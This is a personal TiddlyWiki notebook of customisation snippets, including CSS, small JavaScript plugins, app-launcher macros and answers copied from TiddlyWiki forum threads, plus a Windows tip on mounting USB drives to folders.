<<tabs "txtStayViewTabs" [[Intro ]] "" [[Index]] [[Bookmarks ]] "" [[BookmarkList]]  [[BrowserTips ]] "" [[BrowserTipsList]] [[CSS ]] "" [[CSSList]]  [[HTML ]] "" [[HTMLList]]  [[JavaScript ]] "" [[JavaScriptList]]  [[MyStuff ]] "" [[MyStuffList]]  [[Macros ]] "" [[MacrosList]] [[Plugins ]] "" [[PluginsList]]  [[TSDevelopment ]] "" [[TSDevelopmentList]]  [[TWLinks ]] "" [[TWLinksList]]  [[TWTips ]] "" [[TWTipsList]]  [[VistaList ]] "" [[VistaList]] >>

}}}
!!!!!<<gradient horiz #fcb #fff>>&nbsp;AllTabs>>
<<list all>>
<<tiddlerList tags:TiddlySnip  order:-created top:100 itemTemplate:"''__%created__''\n%link\n%abstract\n----\n">>
We don't have a working site to fiddle on yet, but the code's here:
http://github.com/brimstone4814/tiddly-speck/tree/master

You don't need git to grab it; just click the 'download' button to get
the source as a zip.  Dump it into an Apache directory and see what
happens when you hit index.html. 

Source: [[an open source version of the tiddlyspot server - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/b0e28aa6a318c7c1]]
Open This in the main window. 
[[Right click and "Open in a New Tab|file:///Z:/TiddlyWiki/sidebarprojects.html]]
#{{unboldLink twLink{&nbsp;[[View Directory|LocalDirectoryScript]]}}}
#<<LaunchApplicationButton "Firefox" "Browser" "file:///Z:\PortableApps\PortableApps\FirefoxPortable\FirefoxPortable.exe">> [[Help|file:///H:\Thunderbird\ThunderbirdPortable\help.html]] 
#<<LaunchApplicationButton "Thunderbird" "Email" "file:///H:\Thunderbird\ThunderbirdPortable\App\thunderbird\thunderbird.exe">> [[Help|file:///Z:\PortableApps\PortableApps\ThunderbirdPortable\help.html]]
#<<LaunchApplicationButton "SunbirdCalendar" "Planner" "file:///Z:\PortableApps\PortableApps\SunbirdPortable\SunbirdPortable.exe">> [[Help|file:///Z:\PortableApps\PortableApps\SunbirdPortable\help.html]]
#<<LaunchApplicationButton "OpenOfficeCalc" "SpreadSheet" "file:///Z:\PortableApps\PortableApps\OpenOfficePortable\OpenOfficeCalcPortable.exe">> [[Help|file:///Z:\PortableApps\PortableApps\OpenOfficePortable\help.html]]
#<<LaunchApplicationButton "OpenOfficeMath" "MathGraphics" "file:///Z:\PortableApps\PortableApps\OpenOfficePortable\OpenOfficeMathPortable.exe">> [[Help|file:///Z:\PortableApps\PortableApps\OpenOfficePortable\help.html]]
#<<LaunchApplicationButton "OpenOfficeWriter" "Word" "file:///Z:\PortableApps\PortableApps\OpenOfficePortable\OpenOfficeWriterPortable.exe">> [[Help|Z:\PortableApps\PortableApps\OpenOfficePortable\help.html]]
#<<LaunchApplicationButton "OpenOffice" "WordProcessor" "file:///Z:\PortableApps\PortableApps\OpenOfficePortable\OpenOfficePortable.exe">> [[Help|file:///Z:\PortableApps\PortableApps\OpenOfficePortable\help.html]]
#<<LaunchApplicationButton "ClamWin" "FireWall" "file:///Z:\PortableApps\PortableApps\ClamWinPortable\ClamWinPortable.exe">> [[Help|file:///Z:\PortableApps\PortableApps\ClamWinPortable\help.html]]
#<<LaunchApplicationButton "BackUp" "BkupUtility" "file:///Z:\PortableApps\PortableApps\PortableAppsBackup\PortableAppsBackup.exe">> [[Help|file:///Z:/PortableApps/PortableApps/PortableAppsBackup/help.html]]
#<<LaunchApplicationButton "BackupRestore" "BkupRestore" "file:///Z:\PortableApps\PortableApps\PortableAppsBackup\PortableAppsBackupRestore.exe">> [[Help|file:///Z:/PortableApps/PortableApps/PortableAppsBackup/help.html]]

Assign USB Drives to a Folder
Posted by Martin in Hardware, Knowledge, Operating Systems, Windows  Tags: usb, usb device, usb folder, usb tips, windows tips
Working with several portable USB devices on one computer can be quite complicated when you consider that Windows is assigning the next free drive letter to a device that gets connected. This can lead to some confusion and a great tip that I would like to pass on is to assign USB drives to folders instead.

What I did was to create a main folder on my E: drive which I named USB. I then assigned all my USB devices to subfolders of that folder which led to less confusion on my part. (Create the subfolders before continuing). Here is what I did after creating the folder structure.

Press Windows R, enter diskmgmt.msc and hit enter. This opens the Disk Management configuration that should display all drives and devices currently connected to your computer. Pick an USB device from the list and right-click that entry. Select Change Drive Letter and Paths from the menu.

This should open a new window that is displaying the current drive letter of the device and three buttons at the bottom which are named Add, Change and Remove.

Click on the Add button, select Mount into the following empty NTFS folder and click on browse. Now navigate to the subfolder that you want to assign the usb drive to and confirm the assignment. The USB drive will from now on be accessible from that folder as well if it is connected to the computer.

You can remove the drive letter if you want that by marking it in the main window and clicking on

Source: [[Assign USB Drives to a Folder|http://www.ghacks.net/2008/03/28/assign-usb-drives-to-a-folder/]]
> The first time I tried there were no selections
> in the 'file type' menu. and I was getting file type undefined
> messages. This time when I went through the loading... Voila! a
> selection of file types so now its working. (must have missed a file
> the first download).

That would be: [[AttachFileMIMETypes]], which is an "hr-separated"
list of associations between MIME type designations and file
extensions.  AttachFilePlugin uses these associations to make a 'best
guess' as to the correct MIME type for the file you are attaching.

> ONE Question... (now that I have your attention) can I move the
> attachment tiddler to another tiddlywiki and what plugins does the
> receiving TW need to use the attachment file???

You only need [[AttachFilePlugin]] and [[AttachFileMIMETypes]] if you
are going to *create* new attachments.  Otherwise, to *use* an
existing attachment tiddler, you only need
[[AttachFilePluginFormatters]] (plus the attachment tiddler itself, of
course!

Source: [[AttachPlugIn (AttachFilePlugin). - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/9b58dfd31af319a1]]
[[Audacity: Windows|http://audacity.sourceforge.net/download/windows]]
[[AustralianPodcasts.com.au|http://www.australianpodcasts.com.au/]]
Put the following into a tiddler tagged with systemConfig:

/***
|Name:|AutoClearMessageMacro|
|Description|It auto closes the pop-up messages after 3 seconds.Change the 3000 to modify the time.|
***/

{{{
window.oldDisplayMessage = displayMessage;
displayMessage = function (text,linkText)
{ oldDisplayMessage(text,linkText);
setTimeout( 'clearMessage()', 3000 );}
}}}

Source: [[TWT-Notes looking on line for things - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/d1c22c5fca4f9872/94b0a743ed266bf1#94b0a743ed266bf1]]
> > One of the things I'd like to do is cross reference the tiddlers. By
> > that I mean; each tiddler lists those tiddlers which reference it. I
> > know the 'references' dropdown on the toolbar does this, but I want to
> > list it within the tiddler content.

Try this inline script:
        http://www.TiddlyTools.com/#ShowReferences
        (requires http://www.TiddlyTools.com/#InlineJavascriptPlugin)

Usage:
        <<tiddler ShowReferences with: "format">>
                (in tiddler content)
        <span macro='tiddler ShowReferences with: "format"'></span>
                (in ViewTemplate)

Where "format" specifies the output for each reference link, and
should use a %0 marker to indicate where the actual tiddler link text
should appear.  Here are some examples...

one per line:
        <<tiddler ShowReferences with: "[[%0]]\n">>
space-separated:
        <<tiddler ShowReferences with: "[[%0]] ">>
bullet items:
        <<tiddler ShowReferences with: "* [[%0]]\n">>
numbered items:
        <<tiddler ShowReferences with: "# [[%0]]\n">>

enjoy,
-e 

Source: [[Auto-build mainmenu ideas? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/835ceba2ddb4ca01/52ef14820a7b3230#52ef14820a7b3230]]
config.messages.backstage = {
	open: {text: " ", tooltip: "Open the backstage tools."},
	close: {text: " ", tooltip: "Close the backstage area"},
	prompt: " ",
decal: {
		edit: {text: "edit", tooltip: "Edit the tiddler '%0'"}
}
};
config.messages.backstage = {
	open: {text: " ", tooltip: "Open the backstage tools."},
	close: {text: " ", tooltip: "Close the backstage area"},
	prompt: "backstage: ",
	decal: {
		edit: {text: "edit", tooltip: "Edit the tiddler '%0'"}
	}
};

Source: [[SideSnips|file:///H:/SideSnip/sidesnips-try.html#BackstageButtonConfig]]
/***
!!!<<gradient horiz #fc3 #fff >><<tiddler RefreshStyles>>&nbsp;BackstageCSS>>/%==================================================%/
***/



#backstageArea {background-color:#00a;font-size:8pt;}
#backstageArea a {background-color:#abf;color:#000; border:none;}
#backstageArea a:hover {background:#fff; color:#f00; }
#backstageArea a.backstageSelTab {background:#abf; color:#fff;}
#backstageButton {background:transparent; font-size:9pt;}
#backstageButton a {background:transparent; color:#000; border:none;}
#backstageButton a:hover {background:#fff;color:#f00; border:none;}
#backstagePanel {background:#abf; color:#000; border-color:#fcf ;width:50em;}
#backstagePanel a {color:#00f;}
#backstagePanel a:hover {background:#eee;color:#f00;  border:#f00 solid 1px;}
.backstagePanelFooter .button {border:none; color:#fcf ;}
.backstagePanelFooter .button:hover {color:#0f0;}


#backstageCloak {background:[[ColorPalette::Foreground]]; opacity:0.5; filter:'alpha(opacity:50)';}
#backstageArea { width:100%;display:none; position:relative; overflow: hidden; z-index:150; padding:0.2em 0.5em 0.2em 0.5em;margin-left:auto;margin-right:auto;}

#backstageToolbar {position:relative; width:60%;margin-left:0;margin-right:auto;}
#backstageButton {display:none; position:absolute; z-index:175; top:0em; margin-right:auto;margin-left:auto; padding:0.1em 0.5em 0.2em 0.5em;}

#backstageArea a {font-weight:normal; margin-left:0.5em; padding:0.2em 0.5em 0.2em 0.5em;}

#backstage {position:relative; width:100%;}

#backstagePanel {display:none; z-index:100; position:absolute; margin:0em 3em 0em 0.2em; padding:1em 1em 1em 1em;}
.backstagePanelFooter {padding-top:0.2em; float:right;}
.backstagePanelFooter a {padding:0.2em 0.4em 0.2em 0.4em;}
#backstageCloak {display:none; z-index:50; position:absolute; width:100%; height:100px;}

.contentWrapper {margin-top:0em;
}



.popup {position: absolute;  z-index:0; font-size:.9em; padding:0; list-style-type: decimal; margin:-1.0em;}

config.tasks.viewTabs = {
	text: "ViewTabs",
	tooltip: "A custom backstage tab",
	content: "|width:18em;<<tiddler ViewTabs>><<tiddler MoreTools>>|"
};
config.backstageTasks.splice(config.backstageTasks.indexOf("save")+0,0,"viewTabs");
config.tasks.sidebaroptions = {
	text: "SideBarOptions",
	tooltip: "A custom backstage tab",
	content: "|width:30em;<<tiddler SideBarOptions>><<tiddler SideBarTabs>>|"
};
config.backstageTasks.push("sidebaroptions");
/***
!!!Adjustments to Backstage appearances
***/
//{{{
if (config.tasks!=undefined) { // TW2.2B3 or above

// hide "backstage/close" text, use alternative glyphs
config.messages.backstage.open.text="";
config.messages.backstage.close.text="";
config.glyphs.codes.bentArrowLeft=["\u00ab","\u00ab"]; // left double-angle quote (&laquo;)
config.glyphs.codes.bentArrowRight=["\u00bb","\u00bb"]; // right double-angle quote (&raquo;)
// config.glyphs.codes.downTriangle=["\u25bc","\u25bc"]; // down triangle

// adjust backstage panel styles
setStylesheet("\
	#backstagePanel \
		{ background:#eee !important; padding:.5em; \
		border:2px solid; border-width-top:0px; \
		-moz-border-radius-bottomleft:1em; -moz-border-radius-bottomright:1em} \
	#backstageButton \
		{ font-size:9pt; } \
	#backstageArea \
		{ font-size:7pt; } \
	","BackstageTweaks");

// Hijack backstage.init() to add "mouseover" class to backstage button
backstage.save_init=backstage.init;
backstage.init=function() {
	this.save_init.apply(this,arguments);
	var btn=document.getElementById("backstageShow");
	if (btn && (addClass instanceof Function)) addClass(btn,"mouseover");
}

} // end if (config.tasks)
//}}}
''Backup''
[img[http://img129.imageshack.us/img129/7244/backupoptionsri4.jpg]]
<script>place.style.backgroundColor="#ccc"; /* set background color */ </script>
<html><hide linebreaks><div id="slantedmenu"><ul><li>&nbsp;<a href="javascript:void(0)" onclick="story.closeAllTiddlers();story.displayTiddlers(null,store.getTiddlerText('DefaultTiddlers').readBracketedList())"
><span title="Close all tiddlers and open Welcome" style="cursor:pointer">''Home''</span></a></li><li>[[OverView]]</li><li>[[Contents|Table of Contents]]</li><li>[[Glossary]]</li></li><li>[[Tutorial|MemorizePalette]]</li><li>[[Forum|http://groups.google.com/group/TiddlyWiki]]</li><li><<tiddler GoTo>></li></li></ul></div></html>
!!!!!<<gradient horiz #fcb #fff>>&nbsp;[[BasicTabs]]>>
@@color:#C06;''&raquo; &raquo;'' @@ Tabs for basic Sidebar
----
{{systemcontents{
<script>
// get all tiddlers tagged with "basic"
var tids=store.getTaggedTiddlers("basic");
// keep only tiddlers *also* tagged with New
var list=[];
for (var t=0; t<tids.length; t++)
   if (tids[t].isTagged("basic")) list.push(tids[t]);
// create output list of tiddler titles, one per line
var out="";
for (var t=0; t<list.length; t++) out+="#[["+list[t].title+"]]\n";
return out;
</script> 
}}}
[[Best way to handle image links. - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/3e7af7dc5c518100/95d233ae6792a5fc#95d233ae6792a5fc]]
/***
|Name|BetterTimelineMacro|
|Created by|SaqImtiaz|
|Location|http://tw.lewcid.org/#BetterTimelineMacro|
|Version|0.5 beta|
|Requires|~TW2.x|
!!!Description:
A replacement for the core timeline macro that offers more features:
*list tiddlers with only specfic tag
*exclude tiddlers with a particular tag
*limit entries to any number of days, for example one week
*specify a start date for the timeline, only tiddlers after that date will be listed.

!!!Installation:
Copy the contents of this tiddler to your TW, tag with systemConfig, save and reload your TW.
Edit the ViewTemplate to add the fullscreen command to the toolbar.

!!!Syntax:
{{{<<timeline better:true>>}}}
''the param better:true enables the advanced features, without it you will get the old timeline behaviour.''

additonal params:
(use only the ones you want)
{{{<<timeline better:true  onlyTag:Tag1 excludeTag:Tag2 sortBy:modified/created firstDay:YYYYMMDD maxDays:7 maxEntries:30>>}}}

''explanation of syntax:''
onlyTag: only tiddlers with this tag will be listed. Default is to list all tiddlers.
excludeTag: tiddlers with this tag will not be listed.
sortBy: sort tiddlers by date modified or date created. Possible values are modified or created.
firstDay: useful for starting timeline from a specific date. Example: 20060701 for 1st of July, 2006
maxDays: limits timeline to include only tiddlers from the specified number of days. If you use a value of 7 for example, only tiddlers from the last 7 days will be listed.
maxEntries: limit the total number of entries in the timeline.


!!!History:
*28-07-06: ver 0.5 beta, first release

!!!Code
***/
//{{{
// Return the tiddlers as a sorted array
TiddlyWiki.prototype.getTiddlers = function(field,excludeTag,includeTag)
{
          var results = [];
          this.forEachTiddler(function(title,tiddler)
          {
          if(excludeTag == undefined || tiddler.tags.find(excludeTag) == null)
                        if(includeTag == undefined || tiddler.tags.find(includeTag)!=null)
                                      results.push(tiddler);
          });
          if(field)
                   results.sort(function (a,b) {if(a[field] == b[field]) return(0); else return (a[field] < b[field]) ? -1 : +1; });
          return results;
}



//this function by Udo
function getParam(params, name, defaultValue)
{
          if (!params)
          return defaultValue;
          var p = params[0][name];
          return p ? p[0] : defaultValue;
}

window.old_timeline_handler= config.macros.timeline.handler;
config.macros.timeline.handler = function(place,macroName,params,wikifier,paramString,tiddler)
{
          var args = paramString.parseParams("list",null,true);
          var betterMode = getParam(args, "better", "false");
          if (betterMode == 'true')
          {
          var sortBy = getParam(args,"sortBy","modified");
          var excludeTag = getParam(args,"excludeTag",undefined);
          var includeTag = getParam(args,"onlyTag",undefined);
          var tiddlers = store.getTiddlers(sortBy,excludeTag,includeTag);
          var firstDayParam = getParam(args,"firstDay",undefined);
          var firstDay = (firstDayParam!=undefined)? firstDayParam: "00010101";
          var lastDay = "";
          var field= sortBy;
          var maxDaysParam = getParam(args,"maxDays",undefined);
          var maxDays = (maxDaysParam!=undefined)? maxDaysParam*24*60*60*1000: (new Date()).getTime() ;
          var maxEntries = getParam(args,"maxEntries",undefined);
          var last = (maxEntries!=undefined) ? tiddlers.length-Math.min(tiddlers.length,parseInt(maxEntries)) : 0;
          for(var t=tiddlers.length-1; t>=last; t--)
                  {
                  var tiddler = tiddlers[t];
                  var theDay = tiddler[field].convertToLocalYYYYMMDDHHMM().substr(0,8);
                  if ((theDay>=firstDay)&& (tiddler[field].getTime()> (new Date()).getTime() - maxDays))
                     {
                     if(theDay != lastDay)
                               {
                               var theDateList = document.createElement("ul");
                               place.appendChild(theDateList);
                               createTiddlyElement(theDateList,"li",null,"listTitle",tiddler[field].formatString(this.dateFormat));
                               lastDay = theDay;
                               }
                  var theDateListItem = createTiddlyElement(theDateList,"li",null,"listLink",null);
                  theDateListItem.appendChild(createTiddlyLink(place,tiddler.title,true));
                  }
                  }
          }

          else
              {
              window.old_timeline_handler.apply(this,arguments);
              }
}
//}}}
<<tiddlerList tags:bookmark order:-created top:100 itemTemplate:"''__%created__''\n%link\n%abstract\n----\n">>
!BookmarkList
{{liststyleimagenone underlineLink {
<<tiddlerList tags:bookmark order:-created top:100 itemTemplate:"''__%created__''\n%link\n%abstract\n----\n">>
}}}
Prevent your web page from loading into iframes.
Copy this code into the BODY of your HTML document 
{{{
<SCRIPT LANGUAGE="JavaScript">

<!-- This script and many more are available free online at -->
<!-- The JavaScript Source!! http://javascript.internet.com -->

<!-- Begin
if (window != top) top.location.href = location.href;
// End -->
</SCRIPT>
</CENTER>

<p><center>
<font face="arial, helvetica" size="-2">Free JavaScripts provided<br>
by <a href="http://javascriptsource.com">The JavaScript Source</a></font>
</center><p>

}}}

Source: [[The JavaScript Source: Page Details: Break Frames|http://javascript.internet.com/page-details/break-frames.html]]
> I would like to use TiddlyWiki to hold a small dictionary (300-1000
> entries, columns 'English', 'French', 'Description')

> Do you think that this is possible with TiddlyWiky? Any examples,
> plugins, teplates available for this usage ?

You can definitely do this in TiddlyWiki.  Here's one basic method:

First, define the dictionary entries, using a separate tiddler for
each entry, where each tiddler contains 'slices' (name:value pairs)
for each language of interest, followed by a 'tiddler section' (a
named *part* of a tiddler) with the definition for that entry...
something like this:
{{{
-----------------------------
English: Hello
French: Bon jour
!Definition
This section content can be multiple lines if needed and continues to
the end of the tiddler.
-----------------------------
}}}
You can give the tiddler any title you like, as long as it is unique.
I suggest using the same text as the word being defined, using your
primary language (e.g., if English is your primary language, then the
above tiddler would be entitled "Hello", if French is your primary
language, then it would be entitled "Bon jour").

You should also tag the tiddlers to identify them as dictionary
entries so they will be easy to find later on... a simple keyword like
"entry" will do just fine.

Next, dyamically generate the desired tabular output.  You can use
   http://www.TiddlyTools.com/#InlineJavascriptPlugin
to embed the following script in a tiddler:
{{{
<script>
   var out=[];
   var row='|%0|%1|%2|';
   out.push('|English|French|Description|h'); // headings
   var tids=store.getTaggedTiddlers('entry');
   for (var i=0; i<tids.length; i++) {
      var en=store.getTiddlerSlice(tids[i].title,'English');
      var fr=store.getTiddlerSlice(tids[i].title,'French');
      var d='<<tiddler [['+tids[i].title+'##Description]]>>';
      out.push(row.format([en,fr,d]));
   }
   out.push('|sortable|k'); // table class
   return out.join('\n');
</script>
}}}
Note use of the 'sortable' class designation in the above table
output.  If you install
   http://tw.lewcid.org/#TableSortingPlugin
then clicking on a table heading (English, French, or Description),
will sort the table contents by that column.  QED.

enjoy,
-e
Eric Shulman
TiddlyTools / ELS Design Studios


Source: [[Brief dictionary possible using TiddlyWiky ? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/a7f46a5874bd9b86#]]
!BrowserTipsList
{{liststyleimagenone underlineLink {
<<tiddlerList tags:browser-ts order:-created top:100 itemTemplate:"''__%created__''\n%link\n%abstract\n----\n">>
}}}


{{liststyleimagenone{
<<tiddlerList tags:browser-ts order:-created top:100<br>itemTemplate: "''__%created__''\n%link\n%abstract\n----\n">>
}}}
		
Anthony Muscio   	
View profile
	 More options Jul 7, 11:39 am
From: Anthony Muscio <Anthony.Mus...@gmail.com>
Date: Sun, 6 Jul 2008 18:39:19 -0700 (PDT)
Local: Mon, Jul 7 2008 11:39 am
Subject: Re: how do I split a wiki &OR how do I delete nested, hierarchical tags from top levels?
Reply | Reply to author | Forward | Print | Individual message | Show original | Report this message | Find messages by this author
For Bulk Deletes, I use the TrashPlugin; but rather than select delete
from the tiddler menu create a foreach tiddler that lists the
"completed" items and using the checkbox plugin do this;

<<forEachTiddler
 where 'tiddler.tags.contains(".task") &&
 tiddler.tags.contains("completed") &&
 ! tiddler.tags.contains("Trash")'
 sortBy 'tiddler.created'
 write "'[_] [_('+tiddler.title+':completed)]completed [_]
[_('+tiddler.title+':Trash)]Trash -*#*- [['+tiddler.title
+'|'+tiddler.title+']]\n'">>

All I then need to do is check the box in front of the tiddlers I
really do want to delete then use the TrashPlugin macro EmptyTrash

This is a bulk yet with review method and tends to be very quick and
"secure".

TonyM 

Source: [[how do I split a wiki &OR how do I delete nested, hierarchical tags from top levels? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/f0df88ce85500d6d]]
You can use the TiddlerTweaker's "tags" input field to add, remove or
overwrite tags:

For each tiddler selected in the TiddlerTweaker multi-select listbox:
* A tag with a "+" prefix will be *added* to existing tags.
* A tag with a "-" prefix will be *removed* from existing tags.
* Tags that have neither + or - prefix completely overwrite existing
tags.

For example, if you want to add "MyTag" to all 90 tiddlers, you would
simply enter:
   +MyTag

Or, if you want to remove "SomeTag" and add "SomeOtherTag", you could
write:
   -SomeTag +SomeOtherTag

Note: when adding/remove tags, make sure to only use tags that have
either the + or - prefix.  Otherwise, any 'plain' tags will be used to
completely overwrite the existing tags, regardless of the use of + or
- on other tag values. 


Use [[...]] around each tag containing spaces, *including* the leading
prefix, e.g.:

[[-Some Tag with Spaces]] [[+Other Tag with Spaces]] 

Source: [[BulkAddTag tiddlybookmarklet - TiddlyWikiDev : Google Groups|http://groups.google.com/group/TiddlyWikiDev/browse_thread/thread/6c2fd69b097832bb]]
/***
!!!<<gradient horiz #fc3 #fff >><<tiddler RefreshStyles>>&nbsp;ButtonStyle>>/%==================================================%/
***/


input.btn{
   color:#000;
   font-family:Trebuchet MS,aerial,helvetica,sans-serif;
   font-size:100%;
   font-weight:normal;
   background:url("http://www.symbex.net.au/Wiki/navbargrayhw1.png") repeat-x top left;top left;
  background-color:#eee;
   border:0px solid;
   border-top-color:#000;
   border-left-color:#000;
   border-right-color:#000;
   border-bottom-color:#000;
   
}


input.btnhov{
   color:#a00;
   background:#fff;
   background:url("http://img505.imageshack.us/img505/489/navbarredlt5.gif") repeat-x top left;top left;
   border-top-color:#c06;
   border-left-color:#c06;
   border-right-color:#c06;
   border-bottom-color:#c06;
   -moz-border-radius : .25em 0.25em 0.25em 0.25em;
}
#tn15 a.tn15more { font-weight: bold; text-decoration: underline; padding-right: 7px; background: url(rightarrowlink.gif) no-repeat right 56%; } 
#tn15 a.tn15more.inline { margin-left: 0.2em; } 
#tn15 a.tn15prev { font-weight: bold; padding-left: 7px; background: url(leftarrowlink.gif) no-repeat left 2px; } 
#tn15 a.tn15next { font-weight: bold; padding-right: 7px; background: url(rightarrowlink.gif) no-repeat right 2px; 

Source: [[CSS - http://www.imdb.com/title/tt0449103/|about:blank]]
[[CSS and Lists|http://www.htmlgoodies.com/beyond/css/article.php/3470331]]
[[CSS and Lists|http://www.htmlgoodies.com/beyond/css/article.php/3470331]]
I want to have navigation links at the bottom of a tutorial set of
tiddlers:

Back                    Home                          Next

I can use a CSS styles "justifyright" and "justifycenter" to align
Home and Next correctly, but they appear on separate lines
(apparently) because of the Tiddlywiki syntax: 

Source: [[Multiple CSS styles on one line (justify center and right) - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/3391e8aa5f2b5956#]]
!CSSList
{{liststyleimagenone underlineLink {
<<tiddlerList tags:css-ts order:-created top:100 itemTemplate:"''__%created__''\n%link\n%abstract\n----\n">>
}}}
> One issue/question. I have the commands that are normally in the  
> sidebar in my main menu, which in the theme I'm using appears in the  
> header. When I put the ExportTiddlers command there the control panel  
> does not appear. When I put it in the sidebar, it does.

Because the sidebar is normally on the right, the default position for
the ExportTiddlers control panel is to place it to the left of the
command link.  Thus, when the command occurs in the MainMenu, the
control panel is being displayed outside the left edge of the page.

{{{
Fortunately, adjusting this is really easy, by entering the following
in your [[StyleSheet]:

#mainMenu #exportPanel { left:105%; } 
}}}
Source: [[Can I export selected tiddlers to a text file? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/5a3ba50555f90266]]
> I am new to MPTW and having imported tiddlys from basic TW. I have
> found that any tags that have a capped first letter will Not show on
> the Tags list to the side  whille uncapped tags only show up.

This is because of a custom [[TabTags]] definition that contains:
   {{{<<allTags excludeLists [a-z]>>}}}

The "[a-z]" part is a *filter* that specifically suppresses display of
tags that start with anything other that a lower case letter.  The TW
standard [[TabTags]] definition does not include the filter (e.g.,
it's just: {{{<<allTags excludeLists>>}}})

To revert to the standard tags list output, remove the custom
[[TabTags]] tiddler so the default shadow definition will be used. 

Source: [[Capped Tags Not Showing in Tags list - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/697a4adc35ca8082/b183f31887fa3fae?lnk=gst&q=tags+and+not#b183f31887fa3fae]]
''Categories''
[img[http://img105.imageshack.us/img105/9012/categoriesxa7.jpg]]
Try this:
   http://www.TiddlyTools.com/#WikifyPlugin

Provides the ability to calculate and render wiki-formatted content
derived from from slices, custom fields, config.options, etc.

Syntax:
   <<wikify formatstring value value value ...>>

For your purposes, something like this should do:
   <<wikify "@@%0@@" config.options.txtMyUnit>>

The %0 is automatically replaced by the value from
config.options.txtMyUnit, and then rendered with the surrounding
@@..@@ highlighting.

enjoy,
-e
Eric Shulman 

Source: [[Change size of .txtOptionInput to suit length of string - howto? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/1199bd6a92a35fc0#]]
merge(config.macros.saveChanges,{
	label: "save",
	prompt: "Save all tiddlers to create a new TiddlyWiki",
	accessKey: "S"});

merge(config.macros.newTiddler,{
	label: "tiddler",
	prompt: "Create a new tiddler",
	title: "New Tiddler",
	accessKey: "N"});

merge(config.macros.newJournal,{
	label: "journal",
	prompt: "Create a new tiddler from the current date and time",
	accessKey: "J"});
> change the date format to YYYY-MM-DD ...
> - I've looked through the Options, AdvancedOptions, StyleSheet stuff,
> and a number of formatting examples and haven't found the answer

look in [[SidebarOptions]] and change this:

<<newJournal "DD MMM YYYY" "journal">>

to:

<<newJournal "YYYY-0MM-0DD" "journal">>

(note: for sort order to work, you want to use the 'leading zero'
formats: 0MM and 0DD instead of just MM and DD) 

Source: [[Changing date format for journals - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/c3c87b79d61d5c33]]
I found an example to change either the first or last (first-child
> last-child) tiddler title. How do I change it for the current selected
> tiddler and leave the rest that are open as default?


The tiddler under the mouse pointer has the class "selected", so you can
do something like this:

{{{
     .selected .title {
         font-size: 3em;
     }
}}}
HTH.

-- F.

Source: [[Changing the title font of the selected tiddler - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/e3de7da0ee22a1a7]]
[[Clear Space - Helping People Get Organised|http://www.clearspace.net.au/newsletter-archive.php]]
[[Clint’s Thoughts » Blog Archive » Embedding TiddlyWiki in Thunderbird|http://blog.checkettsweb.com/2005/11/24/embedding-tiddlywiki-in-thunderbird/]]
<script label="$2">
	var tiddler=story.findContainingTiddler(place);
	story.displayTiddler(tiddler,"$1");
	story.closeTiddler(tiddler.id.substr(7)); // close self
	return false;
</script>
> 2.  The 'backups' of files can get quite ridiculous when you are
> adding 1k of data and the full file saves.  I will probably need to
> look at incremental(per tiddler) saves - So this will be some more
> experimenting before I add this to the code.

LocalAdaptorPlugin of Martin does save a backup of each tiddler
changed individually in a 'revision' subfolder.

An other options would by  Backup2Text Macro', which only saves the
storeArea to a text file, and nothing of the code and css common to
TiddlyWikis:
http://www.potto.client.jp/

> 3.  My current 'theory' is to create several 'specific' TW code bases
> - so I would have a 'gallery' TW to play media files - I would have a
> 'to do' list TW - I would have a 'Web Snipped' TW - Each of these code
> bases would be separate and would be 'included' into the main TW.
> Then they would call either 'separate' data or a pooled data area.

Have you taken a look at the marvelous MasterIncludesPlugin, formerly
called TiddlyMasterPlugin, by FND?
http://fnd.lewcid.org/svn/TiddlyWiki/plugins/MasterIncludesPlugin/
http://tiddlyhome.bidix.info/desk/#%5B%5BTiddlyMasterPlugin%20Info%5D%5D

Regards,

W.

Source: [[Code and Content seperation - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/f3be6b192bdae929]]
> this only works for {{{ code here }}} and not:
> {{{
> code here
> }}}

Using those braces inline generates CODE elements, using them as a block
  generates PRE elements.
So to style the latter, use the following selectors:
{{{
     .viewer pre {
         /* ... */
     }
}}}


Source: [[How can you change the default codeblock font size? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/2be826cf783414c4]]
> http://www.TiddlyTools.com/#FoldHeadingsPlugin

is another wonderful plugin from ELS.

If you want to make it more language-neutral, you can customize the
labels. In a tiddler named FoldHeadingsPluginCustom and tagged
systemConfig, simply insert (for instance) the following:
{{{
config.macros.foldHeadings.showlabel = '[+]';
config.macros.foldHeadings.hidelabel = '[-]'; 
}}}
Source: [[Collapsing sections? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/a85043a2a40bcece#]]
In general, after *floating* some content, you want to have a DIV
element with a CSS attribute of "clear:both".  This forces the content
that follows to start below the floated elements.  In this case, it
makes sure that the tiddler will fully enclose the content instead of
letting it 'leak out'...

Take note that a DIV element (not a SPAN element) is required for the
'clear:both' CSS attribute to be applied.  
{{{
In the sample code, I
noticed the following:
   {{clear{}}}
which is *almost* correct, but creates a SPAN rather than a DIV.  It
needs a newline in it, like this:
   {{clear{
   }}}
to ensure that a DIV element is created. 
}}}
Source: [[Columns in a tiddler? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/465a7e6e3244b178]]
> What I would like to be able to do is to display two or more thumbnail
> images in a horizontal row (see example below)  and below each
> thumbnail display a formatted caption and below that the slider
> button.

Give this a try:

First, create a tiddler called [[ThumbThing]], containing:
{{{
<<tiddler [[$1::theThumbImage]]>>
